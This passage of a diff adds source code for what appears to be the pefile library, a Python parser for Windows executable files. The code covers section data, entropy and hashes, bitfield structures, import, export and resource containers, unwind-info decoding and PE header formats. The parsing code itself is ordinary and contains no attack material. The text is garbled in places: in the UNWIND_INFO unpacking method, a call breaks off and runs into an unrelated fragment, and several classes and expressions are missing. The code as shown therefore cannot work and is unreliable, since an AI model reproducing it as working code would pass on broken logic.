) + self.get_PointerToRawData_adj() + + if length is not None: + end = offset + length + else: + end = offset + self.SizeOfRawData + + if ignore_padding: + end = min(end, offset + self.Misc_VirtualSize) + + # PointerToRawData is not adjusted here as we might want to read any possible + # extra bytes that might get cut off by aligning the start (and hence cutting + # something off the end) + if end > self.PointerToRawData + self.SizeOfRawData: + end = self.PointerToRawData + self.SizeOfRawData + return self.pe.__data__[offset:end] + + def __setattr__(self, name, val): + + if name == "Characteristics": + section_flags = retrieve_flags(SECTION_CHARACTERISTICS, "IMAGE_SCN_") + + # Set the section's flags according to the Characteristics member + set_flags(self, val, section_flags) + + elif "IMAGE_SCN_" in name and hasattr(self, name): + if val: + self.__dict__["Characteristics"] |= SECTION_CHARACTERISTICS[name] + else: + self.__dict__["Characteristics"] ^= SECTION_CHARACTERISTICS[name] + + self.__dict__[name] = val + + def get_rva_from_offset(self, offset): + return offset - self.get_PointerToRawData_adj() + self.get_VirtualAddress_adj() + + def get_offset_from_rva(self, rva): + return rva - self.get_VirtualAddress_adj() + self.get_PointerToRawData_adj() + + def contains_offset(self, offset): + """Check whether the section contains the file offset provided.""" + + if self.PointerToRawData is None: + # bss and other sections containing only uninitialized data must have 0 + # and do not take space in the file + return False + PointerToRawData_adj = self.get_PointerToRawData_adj() + return ( + PointerToRawData_adj <= offset < PointerToRawData_adj + self.SizeOfRawData + ) + + def contains_rva(self, rva): + """Check whether the section contains the address provided.""" + + # speedup + if self.section_min_addr is not None and self.section_max_addr is not None: + return self.section_min_addr <= rva < self.section_max_addr + + VirtualAddress_adj = self.get_VirtualAddress_adj() + # Check if the SizeOfRawData is realistic. If it's bigger than the size of + # the whole PE file minus the start address of the section it could be + # either truncated or the SizeOfRawData contains a misleading value. + # In either of those cases we take the VirtualSize + # + if len(self.pe.__data__) - self.get_PointerToRawData_adj() < self.SizeOfRawData: + # PECOFF documentation v8 says: + # VirtualSize: The total size of the section when loaded into memory. + # If this value is greater than SizeOfRawData, the section is zero-padded. + # This field is valid only for executable images and should be set to zero + # for object files. + # + size = self.Misc_VirtualSize + else: + size = max(self.SizeOfRawData, self.Misc_VirtualSize) + + # Check whether there's any section after the current one that starts before + # the calculated end for the current one. If so, cut the current section's size + # to fit in the range up to where the next section starts. + if ( + self.next_section_virtual_address is not None + and self.next_section_virtual_address > self.VirtualAddress + and VirtualAddress_adj + size > self.next_section_virtual_address + ): + size = self.next_section_virtual_address - VirtualAddress_adj + + self.section_min_addr = VirtualAddress_adj + self.section_max_addr = VirtualAddress_adj + size + return VirtualAddress_adj <= rva < VirtualAddress_adj + size + + def contains(self, rva): + return self.contains_rva(rva) + + def get_entropy(self): + """Calculate and return the entropy for the section.""" + + return self.entropy_H(self.get_data()) + + def get_hash_sha1(self): + """Get the SHA-1 hex-digest of the section's data.""" + + if sha1 is not None: + return sha1(self.get_data()).hexdigest() + + def get_hash_sha256(self): + """Get the SHA-256 hex-digest of the section's data.""" + + if sha256 is not None: + return sha256(self.get_data()).hexdigest() + + def get_hash_sha512(self): + """Get the SHA-512 hex-digest of the section's data.""" + + if sha512 is not None: + return sha512(self.get_data()).hexdigest() + + def get_hash_md5(self): + """Get the MD5 hex-digest of the section's data.""" + + if md5 is not None: + return md5(self.get_data()).hexdigest() + + def entropy_H(self, data): + """Calculate the entropy of a chunk of data.""" + + if not data: + return 0.0 + + occurences = Counter(bytearray(data)) + + entropy = 0 + for x in occurences.values(): + p_x = float(x) / len(data) + entropy -= p_x * math.log(p_x, 2) + + return entropy + + +@lru_cache(maxsize=2048, copy=False) +def set_bitfields_format(format): + class Accumulator: + def __init__(self, fmt, comp_fields): + self._subfields = [] + # add a prefix to distinguish the artificially created compoud field + # from regular fields + self._name = "~" + self._type = None + self._bits_left = 0 + self._comp_fields = comp_fields + self._format = fmt + + def wrap_up(self): + if self._type is None: + return + self._format.append(self._type + "," + self._name) + self._comp_fields[len(self._format) - 1] = (self._type, self._subfields) + self._name = "~" + self._type = None + self._subfields = [] + + def new_type(self, tp): + self._bits_left = STRUCT_SIZEOF_TYPES[tp] * 8 + self._type = tp + + def add_subfield(self, name, bitcnt): + self._name += name + self._bits_left -= bitcnt + self._subfields.append((name, bitcnt)) + + def get_type(self): + return self._type + + def get_name(self): + return self._name + + def get_bits_left(self): + return self._bits_left + + old_fmt = [] + comp_fields = {} + ac = Accumulator(old_fmt, comp_fields) + + for elm in format[1]: + if not ":" in elm: + ac.wrap_up() + old_fmt.append(elm) + continue + + elm_type, elm_name = elm.split(",", 1) + + if "," in elm_name: + raise NotImplementedError( + "Structures with bitfields do not support unions yet" + ) + + elm_type, elm_bits = elm_type.split(":", 1) + elm_bits = int(elm_bits) + if elm_type != ac.get_type() or elm_bits > ac.get_bits_left(): + ac.wrap_up() + ac.new_type(elm_type) + + ac.add_subfield(elm_name, elm_bits) + ac.wrap_up() + + format_str, _, field_offsets, keys, format_length = set_format(tuple(old_fmt)) + + extended_keys = [] + for idx, val in enumerate(keys): + if not idx in comp_fields: + extended_keys.append(val) + continue + _, sbf = comp_fields[idx] + bf_names = [[f[StructureWithBitfields.BTF_NAME_IDX]] for f in sbf] + extended_keys.extend(bf_names) + for n in bf_names: + field_offsets[n[0]] = field_offsets[val[0]] + + return (format_str, format_length, field_offsets, keys, extended_keys, comp_fields) + + +class StructureWithBitfields(Structure): + """ + Extends Structure's functionality with support for bitfields such as: + ('B:4,LowerHalf', 'B:4,UpperHalf') + To this end, two lists are maintained: + * self.__keys__ that contains compound fields, for example + ('B,~LowerHalfUpperHalf'), and is used during packing/unpaking + * self.__keys_ext__ containing a separate key for each field (ex., LowerHalf, + UpperHalf) to simplify implementation of dump() + This way the implementation of unpacking/packing and dump() from Structure can be + reused. + + In addition, we create a dictionary: + --> + (data type, [ (subfield name, length in bits)+ ] ) + that facilitates bitfield paking and unpacking. + + With lru_cache() creating only once instance per format string, the memory + overhead is negligible. + """ + + BTF_NAME_IDX = 0 + BTF_BITCNT_IDX = 1 + CF_TYPE_IDX = 0 + CF_SUBFLD_IDX = 1 + + def __init__(self, format, name=None, file_offset=None): + ( + self.__format__, + self.__format_length__, + self.__field_offsets__, + self.__keys__, + self.__keys_ext__, + self.__compound_fields__, + ) = set_bitfields_format(format) + # create our own unpacked_data_elms to ensure they are not shared among + # StructureWithBitfields instances with the same format string + self.__unpacked_data_elms__ = [None for i in range(self.__format_length__)] + self.__all_zeroes__ = False + self.__file_offset__ = file_offset + self.name = name if name != None else format[0] + + def __unpack__(self, data): + # calling the original routine to deal with special cases/spurious data + # structures + super(StructureWithBitfields, self).__unpack__(data) + self._unpack_bitfield_attributes() + + def __pack__(self): + self._pack_bitfield_attributes() + try: + data = super(StructureWithBitfields, self).__pack__() + finally: + self._unpack_bitfield_attributes() + return data + + def dump(self, indentation=0): + tk = self.__keys__ + self.__keys__ = self.__keys_ext__ + try: + ret = super(StructureWithBitfields, self).dump(indentation) + finally: + self.__keys__ = tk + return ret + + def dump_dict(self): + tk = self.__keys__ + self.__keys__ = self.__keys_ext__ + try: + ret = super(StructureWithBitfields, self).dump_dict() + finally: + self.__keys__ = tk + return ret + + def _unpack_bitfield_attributes(self): + """Replace compound attributes corresponding to bitfields with separate + sub-fields. + """ + for i in self.__compound_fields__.keys(): + cf_name = self.__keys__[i][0] + cval = getattr(self, cf_name) + delattr(self, cf_name) + offst = 0 + for sf in self.__compound_fields__[i][StructureWithBitfields.CF_SUBFLD_IDX]: + mask = (1 << sf[StructureWithBitfields.BTF_BITCNT_IDX]) - 1 + mask <<= offst + setattr( + self, + sf[StructureWithBitfields.BTF_NAME_IDX], + (cval & mask) >> offst, + ) + offst += sf[StructureWithBitfields.BTF_BITCNT_IDX] + + def _pack_bitfield_attributes(self): + """Pack attributes into a compound bitfield""" + for i in self.__compound_fields__.keys(): + cf_name = self.__keys__[i][0] + offst, acc_val = 0, 0 + for sf in self.__compound_fields__[i][StructureWithBitfields.CF_SUBFLD_IDX]: + mask = (1 << sf[StructureWithBitfields.BTF_BITCNT_IDX]) - 1 + field_val = ( + getattr(self, sf[StructureWithBitfields.BTF_NAME_IDX]) & mask + ) + acc_val |= field_val << offst + offst += sf[StructureWithBitfields.BTF_BITCNT_IDX] + setattr(self, cf_name, acc_val) + + +class DataContainer: + """Generic data container.""" + + def __init__(self, **args): + bare_setattr = super(DataContainer, self).__setattr__ + for key, value in args.items(): + bare_setattr(key, value) + + +class ImportDescData(DataContainer): + """Holds import descriptor information. + + dll: name of the imported DLL + imports: list of imported symbols (ImportData instances) + struct: IMAGE_IMPORT_DESCRIPTOR structure + """ + + +class ImportData(DataContainer): + """Holds imported symbol's information. + + ordinal: Ordinal of the symbol + name: Name of the symbol + bound: If the symbol is bound, this contains + the address. + """ + + def __setattr__(self, name, val): + + # If the instance doesn't yet have an ordinal attribute + # it's not fully initialized so can't do any of the + # following + # + if ( + hasattr(self, "ordinal") + and hasattr(self, "bound") + and hasattr(self, "name") + ): + + if name == "ordinal": + + if self.pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE: + ordinal_flag = IMAGE_ORDINAL_FLAG + elif self.pe.PE_TYPE == OPTIONAL_HEADER_MAGIC_PE_PLUS: + ordinal_flag = IMAGE_ORDINAL_FLAG64 + + # Set the ordinal and flag the entry as importing by ordinal + self.struct_table.Ordinal = ordinal_flag | (val & 0xFFFF) + self.struct_table.AddressOfData = self.struct_table.Ordinal + self.struct_table.Function = self.struct_table.Ordinal + self.struct_table.ForwarderString = self.struct_table.Ordinal + elif name == "bound": + if self.struct_iat is not None: + self.struct_iat.AddressOfData = val + self.struct_iat.AddressOfData = self.struct_iat.AddressOfData + self.struct_iat.Function = self.struct_iat.AddressOfData + self.struct_iat.ForwarderString = self.struct_iat.AddressOfData + elif name == "address": + self.struct_table.AddressOfData = val + self.struct_table.Ordinal = self.struct_table.AddressOfData + self.struct_table.Function = self.struct_table.AddressOfData + self.struct_table.ForwarderString = self.struct_table.AddressOfData + elif name == "name": + # Make sure we reset the entry in case the import had been set to + # import by ordinal + if self.name_offset: + + name_rva = self.pe.get_rva_from_offset(self.name_offset) + self.pe.set_dword_at_offset( + self.ordinal_offset, (0 << 31) | name_rva + ) + + # Complain if the length of the new name is longer than the + # existing one + if len(val) > len(self.name): + raise PEFormatError( + "The export name provided is longer than the existing one." + ) + pass + self.pe.set_bytes_at_offset(self.name_offset, val) + + self.__dict__[name] = val + + +class ExportDirData(DataContainer): + """Holds export directory information. + + struct: IMAGE_EXPORT_DIRECTORY structure + symbols: list of exported symbols (ExportData instances)""" + + +class ExportData(DataContainer): + """Holds exported symbols' information. + + ordinal: ordinal of the symbol + address: address of the symbol + name: name of the symbol (None if the symbol is + exported by ordinal only) + forwarder: if the symbol is forwarded it will + contain the name of the target symbol, + None otherwise. + """ + + def __setattr__(self, name, val): + + # If the instance doesn't yet have an ordinal attribute + # it's not fully initialized so can't do any of the + # following + # + if ( + hasattr(self, "ordinal") + and hasattr(self, "address") + and hasattr(self, "forwarder") + and hasattr(self, "name") + ): + + if name == "ordinal": + self.pe.set_word_at_offset(self.ordinal_offset, val) + elif name == "address": + self.pe.set_dword_at_offset(self.address_offset, val) + elif name == "name": + # Complain if the length of the new name is longer than the + # existing one + if len(val) > len(self.name): + raise PEFormatError( + "The export name provided is longer than the existing one." + ) + self.pe.set_bytes_at_offset(self.name_offset, val) + elif name == "forwarder": + # Complain if the length of the new name is longer than the + # existing one + if len(val) > len(self.forwarder): + raise PEFormatError( + "The forwarder name provided is longer than the existing one." + ) + self.pe.set_bytes_at_offset(self.forwarder_offset, val) + + self.__dict__[name] = val + + +class ResourceDirData(DataContainer): + """Holds resource directory information. + + struct: IMAGE_RESOURCE_DIRECTORY structure + entries: list of entries (ResourceDirEntryData instances) + """ + + +class ResourceDirEntryData(DataContainer): + """Holds resource directory entry data. + + struct: IMAGE_RESOURCE_DIRECTORY_ENTRY structure + name: If the resource is identified by name this + attribute will contain the name string. None + otherwise. If identified by id, the id is + available at 'struct.Id' + id: the id, also in struct.Id + directory: If this entry has a lower level directory + this attribute will point to the + ResourceDirData instance representing it. + data: If this entry has no further lower directories + and points to the actual resource data, this + attribute will reference the corresponding + ResourceDataEntryData instance. + (Either of the 'directory' or 'data' attribute will exist, + but not both.) + """ + + +class ResourceDataEntryData(DataContainer): + """Holds resource data entry information. + + struct: IMAGE_RESOURCE_DATA_ENTRY structure + lang: Primary language ID + sublang: Sublanguage ID + """ + + +class DebugData(DataContainer): + """Holds debug information. + + struct: IMAGE_DEBUG_DIRECTORY structure + entries: list of entries (IMAGE_DEBUG_TYPE instances) + """ + + +class BaseRelocationData(DataContainer): + """Holds base relocation information. + + struct: IMAGE_BASE_RELOCATION structure + entries: list of relocation data (RelocationData instances) + """ + + +class RelocationData(DataContainer): + """Holds relocation information. + + type: Type of relocation + The type string can be obtained by + RELOCATION_TYPE[type] + rva: RVA of the relocation + """ + + def __setattr__(self, name, val): + + # If the instance doesn't yet have a struct attribute + # it's not fully initialized so can't do any of the + # following + # + if hasattr(self, "struct"): + # Get the word containing the type and data + # + word = self.struct.Data + + if name == "type": + word = (val << 12) | (word & 0xFFF) + elif name == "rva": + offset = max(val - self.base_rva, 0) + word = (word & 0xF000) | (offset & 0xFFF) + + # Store the modified data + # + self.struct.Data = word + + self.__dict__[name] = val + + +class TlsData(DataContainer): + """Holds TLS information. + + struct: IMAGE_TLS_DIRECTORY structure + """ + + +class BoundImportDescData(DataContainer): + """Holds bound import descriptor data. + + This directory entry will provide information on the + DLLs this PE file has been bound to (if bound at all). + The structure will contain the name and timestamp of the + DLL at the time of binding so that the loader can know + whether it differs from the one currently present in the + system and must, therefore, re-bind the PE's imports. + + struct: IMAGE_BOUND_IMPORT_DESCRIPTOR structure + name: DLL name + entries: list of entries (BoundImportRefData instances) + the entries will exist if this DLL has forwarded + symbols. If so, the destination DLL will have an + entry in this list. + """ + + +class LoadConfigData(DataContainer): + """Holds Load Config data. + + struct: IMAGE_LOAD_CONFIG_DIRECTORY structure + name: dll name + """ + + +class BoundImportRefData(DataContainer): + """Holds bound import forwarder reference data. + + Contains the same information as the bound descriptor but + for forwarded DLLs, if any. + + struct: IMAGE_BOUND_FORWARDER_REF structure + name: dll name + """ + + +class ExceptionsDirEntryData(DataContainer): + """Holds the data related to SEH (and stack unwinding, in particular) + + struct an instance of RUNTIME_FUNTION + unwindinfo an instance of UNWIND_INFO + """ + + +class UnwindInfo(StructureWithBitfields): + """Handles the complexities of UNWIND_INFO structure: + * variable number of UWIND_CODEs + * optional ExceptionHandler and FunctionEntry fields + """ + + def __init__(self, file_offset=0): + super(UnwindInfo, self).__init__( + ( + "UNWIND_INFO", + ( + "B:3,Version", + "B:5,Flags", + "B,SizeOfProlog", + "B,CountOfCodes", + "B:4,FrameRegister", + "B:4,FrameOffset", + ), + ), + file_offset=file_offset, + ) + self._full_size = super(UnwindInfo, self).sizeof() + self._opt_field_name = None + self._code_info = StructureWithBitfields( + ("UNWIND_CODE", ("B,CodeOffset", "B:4,UnwindOp", "B:4,OpInfo")), + file_offset=0, + ) + self._chained_entry = None + self._finished_unpacking = False + + def unpack_in_stages(self, data): + """Unpacks the UNWIND_INFO "in two calls", with the first call establishing + a full size of the structure and the second, performing the actual unpacking. + """ + if self._finished_unpacking: + return None + + super(UnwindInfo, self).__unpack__(data) + codes_cnt_max = (self.CountOfCodes + 1) & ~1 + hdlr_offset = ( + super(UnwindInfo, self).sizeof() + codes_cnt_max * self._code_info.sizeof() + ) + self._full_size = hdlr_offset + ( + 0 if self.Flags == 0 else STRUCT_SIZEOF_TYPES["I"] + ) + + if len(data) < self._full_size: + return None + + if self.Version != 1 and self.Version != 2: + return "Unsupported version of UNWIND_INFO at " + hex(self.__file_offset__) + + self.UnwindCodes = [] + ro = super(UnwindInfo, self).sizeof() + codes_left = self.CountOfCodes + while codes_left > 0: + self._code_info.__unpack__(data[ro : ro + self._code_info.sizeof()]) + ucode = PrologEpilogOpsFactory.create(self._code_info) + if ucode is None: + return "Unknown UNWIND_CODE at " + hex(self.__file_offset__ + ro) + + len_in_codes = ucode.length_in_code_structures(self._code_info, self) + opc_size = self._code_info.sizeof() * len_in_codes + ucode.initialize( + self._code_info, + data[ro : ro + opc_size], + self, + self.__file_offset__ + ro, + ) + ro += opc_size + codes_left -= len_in_codes + self.UnwindCodes.append(ucode) + + if self.UNW_FLAG_EHANDLER or self.UNW_FLAG_UHANDLER: + self._opt_field_name = "ExceptionHandler" + + if self.UNW_FLAG_CHAININFO: + self._opt_field_name = "FunctionEntry" + + if self._opt_field_name != None: + setattr( + self, + self._opt_field_name, + struct.unpack( + " self._full_size: + break + data[cur_offset : cur_offset + uc.struct.sizeof()] = uc.struct.__pack__() + cur_offset += uc.struct.sizeof() + + if self._opt_field_name != None: + data[ + self._full_size - STRUCT_SIZEOF_TYPES["I"] : self._full_size + ] = struct.pack("" if self.struct.OpInfo else "") + + +class PrologEpilogOpEpilogMarker(PrologEpilogOp): + """UWOP_EPILOG""" + + def initialize(self, unw_code, data, unw_info, file_offset): + self._long_offst = True + self._first = not hasattr(unw_info, "SizeOfEpilog") + super(PrologEpilogOpEpilogMarker, self).initialize( + unw_code, data, unw_info, file_offset + ) + if self._first: + setattr(unw_info, "SizeOfEpilog", self.struct.Size) + self._long_offst = unw_code.OpInfo & 1 == 0 + self._epilog_size = unw_info.SizeOfEpilog + + def _get_format(self, unw_code): + # check if it is the first epilog code among encountered; then its record + # will contain size of the epilog + if self._first: + return ( + "UNWIND_CODE_EPILOG", + ("B,OffsetLow,Size", "B:4,UnwindOp", "B:4,Flags") + if unw_code.OpInfo & 1 == 1 + else ( + "B,Size", + "B:4,UnwindOp", + "B:4,Flags", + "B,OffsetLow", + "B:4,Unused", + "B:4,OffsetHigh", + ), + ) + else: + return ( + "UNWIND_CODE_EPILOG", + ("B,OffsetLow", "B:4,UnwindOp", "B:4,OffsetHigh"), + ) + + def length_in_code_structures(self, unw_code, unw_info): + return ( + 2 + if not hasattr(unw_info, "SizeOfEpilog") and (unw_code.OpInfo & 1) == 0 + else 1 + ) + + def get_offset(self): + return self.struct.OffsetLow | ( + self.struct.OffsetHigh << 8 if self._long_offst else 0 + ) + + def is_valid(self): + return self.get_offset() > 0 + + def __str__(self): + # the EPILOG sequence may have a terminating all-zeros entry + return ( + "EPILOG: size=" + + hex(self._epilog_size) + + ", offset from the end=-" + + hex(self.get_offset()) + if self.get_offset() > 0 + else "" + ) + + +class PrologEpilogOpsFactory: + """A factory for creating unwind codes based on the value of UnwindOp""" + + _class_dict = { + UWOP_PUSH_NONVOL: PrologEpilogOpPushReg, + UWOP_ALLOC_LARGE: PrologEpilogOpAllocLarge, + UWOP_ALLOC_SMALL: PrologEpilogOpAllocSmall, + UWOP_SET_FPREG: PrologEpilogOpSetFP, + UWOP_SAVE_NONVOL: PrologEpilogOpSaveReg, + UWOP_SAVE_NONVOL_FAR: PrologEpilogOpSaveRegFar, + UWOP_SAVE_XMM128: PrologEpilogOpSaveXMM, + UWOP_SAVE_XMM128_FAR: PrologEpilogOpSaveXMMFar, + UWOP_PUSH_MACHFRAME: PrologEpilogOpPushFrame, + UWOP_EPILOG: PrologEpilogOpEpilogMarker, + } + + @staticmethod + def create(unwcode): + code = unwcode.UnwindOp + return ( + PrologEpilogOpsFactory._class_dict[code]() + if code in PrologEpilogOpsFactory._class_dict + else None + ) + + +# Valid FAT32 8.3 short filename characters according to: +# http://en.wikipedia.org/wiki/8.3_filename +# This will help decide whether DLL ASCII names are likely +# to be valid or otherwise corrupt data +# +# The filename length is not checked because the DLLs filename +# can be longer that the 8.3 + +allowed_filename = b( + string.ascii_lowercase + + string.ascii_uppercase + + string.digits + + "!#$%&'()-@^_`{}~+,.;=[]" +) + + +def is_valid_dos_filename(s): + if s is None or not isinstance(s, (str, bytes, bytearray)): + return False + # Allow path separators as import names can contain directories. + allowed = allowed_filename + b"\\/" + return all(c in allowed for c in set(s)) + + +# Check if an imported name uses the valid accepted characters expected in +# mangled function names. If the symbol's characters don't fall within this +# charset we will assume the name is invalid. +# The dot "." character comes from: https://github.com/erocarrera/pefile/pull/346 +allowed_function_name = b( + string.ascii_lowercase + string.ascii_uppercase + string.digits + "._?@$()<>" +) + + +@lru_cache(maxsize=2048) +def is_valid_function_name(s): + return ( + s is not None + and isinstance(s, (str, bytes, bytearray)) + and all(c in allowed_function_name for c in set(s)) + ) + + +class PE: + """A Portable Executable representation. + + This class provides access to most of the information in a PE file. + + It expects to be supplied the name of the file to load or PE data + to process and an optional argument 'fast_load' (False by default) + which controls whether to load all the directories information, + which can be quite time consuming. + + pe = pefile.PE('module.dll') + pe = pefile.PE(name='module.dll') + + would load 'module.dll' and process it. If the data is already + available in a buffer the same can be achieved with: + + pe = pefile.PE(data=module_dll_data) + + The "fast_load" can be set to a default by setting its value in the + module itself by means, for instance, of a "pefile.fast_load = True". + That will make all the subsequent instances not to load the + whole PE structure. The "full_load" method can be used to parse + the missing data at a later stage. + + Basic headers information will be available in the attributes: + + DOS_HEADER + NT_HEADERS + FILE_HEADER + OPTIONAL_HEADER + + All of them will contain among their attributes the members of the + corresponding structures as defined in WINNT.H + + The raw data corresponding to the header (from the beginning of the + file up to the start of the first section) will be available in the + instance's attribute 'header' as a string. + + The sections will be available as a list in the 'sections' attribute. + Each entry will contain as attributes all the structure's members. + + Directory entries will be available as attributes (if they exist): + (no other entries are processed at this point) + + DIRECTORY_ENTRY_IMPORT (list of ImportDescData instances) + DIRECTORY_ENTRY_EXPORT (ExportDirData instance) + DIRECTORY_ENTRY_RESOURCE (ResourceDirData instance) + DIRECTORY_ENTRY_DEBUG (list of DebugData instances) + DIRECTORY_ENTRY_BASERELOC (list of BaseRelocationData instances) + DIRECTORY_ENTRY_TLS + DIRECTORY_ENTRY_BOUND_IMPORT (list of BoundImportData instances) + + The following dictionary attributes provide ways of mapping different + constants. They will accept the numeric value and return the string + representation and the opposite, feed in the string and get the + numeric constant: + + DIRECTORY_ENTRY + IMAGE_CHARACTERISTICS + SECTION_CHARACTERISTICS + DEBUG_TYPE + SUBSYSTEM_TYPE + MACHINE_TYPE + RELOCATION_TYPE + RESOURCE_TYPE + LANG + SUBLANG + """ + + # + # Format specifications for PE structures. + # + + __IMAGE_DOS_HEADER_format__ = ( + "IMAGE_DOS_HEADER", + ( + "H,e_magic", + "H,e_cblp", + "H,e_cp", + "H,e_crlc", + "H,e_cparhdr", + "H,e_minalloc", + "H,e_maxalloc", + "H,e_ss", + "H,e_sp", + "H,e_csum", + "H,e_ip", + "H,e_cs", + "H,e_lfarlc", + "H,e_ovno", + "8s,e_res", + "H,e_oemid", + "H,e_oeminfo", + "20s,e_res2", + "I,e_lfanew", + ), + ) + + __IMAGE_FILE_HEADER_format__ = ( + "IMAGE_FILE_HEADER", + ( + "H,Machine", + "H,NumberOfSections", + "I,TimeDateStamp", + "I,PointerToSymbolTable", + "I,NumberOfSymbols", + "H,SizeOfOptionalHeader", + "H,Characteristics", + ), + ) + + __IMAGE_DATA_DIRECTORY_format__ = ( + "IMAGE_DATA_DIRECTORY", + ("I,VirtualAddress", "I,Size"), + ) + + __IMAGE_OPTIONAL_HEADER_format__ = ( + "IMAGE_OPTIONAL_HEADER", + ( + "H,Magic", + "B,MajorLinkerVersion", + "B,MinorLinkerVersion", + "I,SizeOfCode", + "I,SizeOfInitializedData", + "I,SizeOfUninitializedData", + "I,AddressOfEntryPoint", + "I,BaseOfCode", + "I,BaseOfData", + "I,ImageBase", + "I,SectionAlignment", + "I,FileAlignment", + "H,MajorOperatingSystemVersion", + "H,MinorOperatingSystemVersion", + "H,MajorImageVersion", + "H,MinorImageVersion", + "H,MajorSubsystemVersion", + "H,MinorSubsystemVersion", + "I,Reserved1", + "I,SizeOfImage", + "I,SizeOfHeaders", + "I,CheckSum", + "H,Subsystem", + "H,DllCharacteristics", + "I,SizeOfStackReserve", + "I,SizeOfStackCommit", + "I,SizeOfHeapReserve", + "I,SizeOfHeapCommit", + "I,LoaderFlags", + "I,NumberOfRvaAndSizes", + ), + ) + + __IMAGE_OPTIONAL_HEADER64_format__ = ( + "IMAGE_OPTIONAL_HEADER64", + ( + "H,Magic", + "B,MajorLinkerVersion", + "B,MinorLinkerVersion", + "I,SizeOfCode", + "I,SizeOfInitializedData", + "I,SizeOfUninitializedData", + "I,AddressOfEntryPoint", + "I,BaseOfCode", + "Q,ImageBase", + "I,SectionAlignment", + "I,FileAlignment", + "H,MajorOperatingSystemVersion", + "H,MinorOperatingSystemVersion", + "H,MajorImageVersion", + "H,MinorImageVersion", + "H,MajorSubsystemVersion", + "H,MinorSubsystemVersion", + "I,Reserved1", + "I,SizeOfImage", + "I,SizeOfHeaders", + "I,CheckSum", + "H,Subsystem", + "H,DllCharacteristics", + "Q,SizeOfStackReserve", + "Q,SizeOfStackCommit", + "Q,SizeOfHeapReserve", + "Q,SizeOfHeapCommit", + "I,LoaderFlags", + "I,NumberOfRvaAndSizes", + ), + ) + + __IMAGE_NT_HEADERS_format__ = ("IMAGE_NT_HEADERS", ("I,Signature",)) + + __IMAGE_SECTION_HEADER_format__ = ( + "IMAGE_SECTION_HEADER", + ( + "8s,Name", + "I,Misc,Misc_PhysicalAddress,Misc_VirtualSize", + "I,VirtualAddress", + "I,SizeOfRawData", + "I,PointerToRawData", + "I,PointerToRelocations", + "I,PointerToLinenumbers", + "H,NumberOfRelocations", + "H,NumberOfLinenumbers", + "I,Characteristics", + ), + ) + + __IMAGE_DELAY_IMPORT_DESCRIPTOR_format__ = ( + "IMAGE_DELAY_IMPORT_DESCRIPTOR", + ( + "I,grAttrs", + "I,szName", + "I,phmod", + "I,pIAT", + "I,pINT", + "I,pBoundIAT", + "I,pUnloadIAT", + "I,dwTimeStamp", + ), + ) + + __IMAGE_IMPORT_DESCRIPTOR_format__ = ( + "IMAGE_IMPORT_DESCRIPTOR", + ( + "I,OriginalFirstThunk,Characteristics", + "I,TimeDateStamp", + "I,ForwarderChain", + "I,Name", + "I,FirstThunk", + ), + ) + + __IMAGE_EXPORT_DIRECTORY_format__ = ( + "IMAGE_EXPORT_DIRECTORY", + ( + "I,Characteristics", + "I,TimeDateStamp", + "H,MajorVersion", + "H,MinorVersion", + "I,Name", + "I,Base", + "I,NumberOfFunctions", + "I,NumberOfNames", + "I,AddressOfFunctions", + "I,AddressOfNames", + "I,AddressOfNameOrdinals", + ), + ) + + __IMAGE_RESOURCE_DIRECTORY_format__ = ( + "IMAGE_RESOURCE_DIRECTORY", + ( + "I,Characteristics", + "I,TimeDateStamp", + "H,MajorVersion", + "H,MinorVersion", + "H,NumberOfNamedEntries", + "H,NumberOfIdEntries", + ), + ) + + __IMAGE_RESOURCE_DIRECTORY_ENTRY_format__ = ( + "IMAGE_RESOURCE_DIRECTORY_ENTRY", + ("I,Name", "I,OffsetToData"), + ) + + __IMAGE_RESOURCE_DATA_ENTRY_format__ = ( + "IMAGE_RESOURCE_DATA_ENTRY", + ("I,OffsetToData", "I,Size", "I,CodePage", "I,Reserved"), + ) + + __VS_VERSIONINFO_format__ = ( + "VS_VERSIONINFO", + ("H,Length", "H,ValueLength", "H,Type"), + ) + + __VS_FIXEDFILEINFO_format__ = ( + "VS_FIXEDFILEINFO", + ( + "I,Signature", + "I,StrucVersion", + "I,FileVersionMS", + "I,FileVersionLS", + "I,ProductVersionMS", + "I,ProductVersionLS", + "I,FileFlagsMask", + "I,FileFlags", + "I,FileOS", + "I,FileType", + "I,FileSubtype", + "I,FileDateMS", + "I,FileDateLS", + ), + ) + + __StringFileInfo_format__ = ( + "StringFileInfo", + ("H,Length", "H,ValueLength", "H,Type"), + ) + + __StringTable_format__ = ("StringTable", ("H,Length", "H,ValueLength", "H,Type")) + + __String_format__ = ("String", ("H,Length", "H,ValueLength", "H,Type")) + + __Var_format__ = ("Var", ("H,Length", "H,ValueLength", "H,Type")) + + __IMAGE_THUNK_DATA_format__ = ( + "IMAGE_THUNK_DATA", + ("I,ForwarderString,Function,Ordinal,AddressOfData",), + ) + + __IMAGE_THUNK_DATA64_format__ = ( + "IMAGE_THUNK_DATA", + ("Q,ForwarderString,Function,Ordinal,AddressOfData",), + ) + + __IMAGE_DEBUG_DIRECTORY_format__ = ( + "IMAGE_DEBUG_DIRECTORY", + ( + "I,Characteristics", + "I,TimeDateStamp", + "H,MajorVersion", + "H,MinorVersion", + "I,Type", + "I,SizeOfData", + "I,AddressOfRawData", + "I,PointerToRawData", + ), + ) + + __IMAGE_BASE_RELOCATION_format__ = ( + "IMAGE_BASE_RELOCATION", + ("I,VirtualAddress", "I,SizeOfBlock"), + ) + + __IMAGE_BASE_RELOCATION_ENTRY_format__ = ( + "IMAGE_BASE_RELOCATION_ENTRY", + ("H,Data",), + ) + + __IMAGE_TLS_DIRECTORY_format__ = ( + "IMAGE_TLS_DIRECTORY", + ( + "I,StartAddressOfRawData", + "I,EndAddressOfRawData", + "I,AddressOfIndex", + "I,AddressOfCallBacks", + "I,SizeOfZeroFill", + "I,Characteristics", + ), + ) + + __IMAGE_TLS_DIRECTORY64_format__ = ( + "IMAGE_TLS_DIRECTORY", + ( + "Q,StartAddressOfRawData", + "Q,EndAddressOfRawData", + "Q,AddressOfIndex", + "Q,AddressOfCallBacks", + "I,SizeOfZeroFill", + "I,Characteristics", + ), + ) + + __IMAGE_LOAD_CONFIG_DIRECTORY_format__ = ( + "IMAGE_LOAD_CONFIG_DIRECTORY", + ( + "I,Size", + "I,TimeDateStamp", + "H,MajorVersion", + "H,MinorVersion", + "I,GlobalFlagsClear", + "I,GlobalFlagsSet", + "I,CriticalSectionDefaultTimeout", + "I,DeCommitFreeBlockThreshold", + "I,DeCommitTotalFreeThreshold", + "I,LockPrefixTable", + "I,MaximumAllocationSize", + 